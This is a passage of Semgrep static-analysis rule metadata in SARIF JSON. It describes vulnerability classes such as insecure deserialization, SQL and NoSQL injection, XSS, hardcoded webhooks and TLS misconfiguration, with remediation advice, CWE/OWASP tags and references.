perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","id":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","name":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","id":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","name":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli","id":"javascript.aws-lambda.security.knex-sqli.knex-sqli","name":"javascript.aws-lambda.security.knex-sqli.knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.knex-sqli.knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Webhook detected"},"help":{"markdown":"Slack Webhook detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook)\n - [https://api.slack.com/messaging/webhooks](https://api.slack.com/messaging/webhooks)\n","text":"Slack Webhook detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook","id":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","name":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-webhook.detected-slack-webhook"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","id":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","name":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"help":{"markdown":"Property decoded from JWT token without verifying and cannot be trustworthy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property)\n - [https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html](https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html)\n","text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","id":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","name":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"help":{"markdown":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.create-with.create-with)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ](https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ)\n","text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.create-with.create-with","id":"ruby.lang.security.create-with.create-with","name":"ruby.lang.security.create-with.create-with","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.create-with.create-with"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","id":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","name":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-access-before-action.file-access-before-action"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"help":{"markdown":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://golang.org/pkg/crypto/tls/#:~:text=MinVersion](https://golang.org/pkg/crypto/tls/#:~:text=MinVersion)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","id":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","name":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","id":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","name":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln](https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/write](https://developer.mozilla.org/en-US/docs/Web/API/Document/write)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)\n","text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","id":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","name":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","id":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","name":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","id":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","name":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","id":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","name":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"help":{"markdown":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write","id":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","name":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"help":{"markdown":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly.\n\n<b>References:</b>\n - 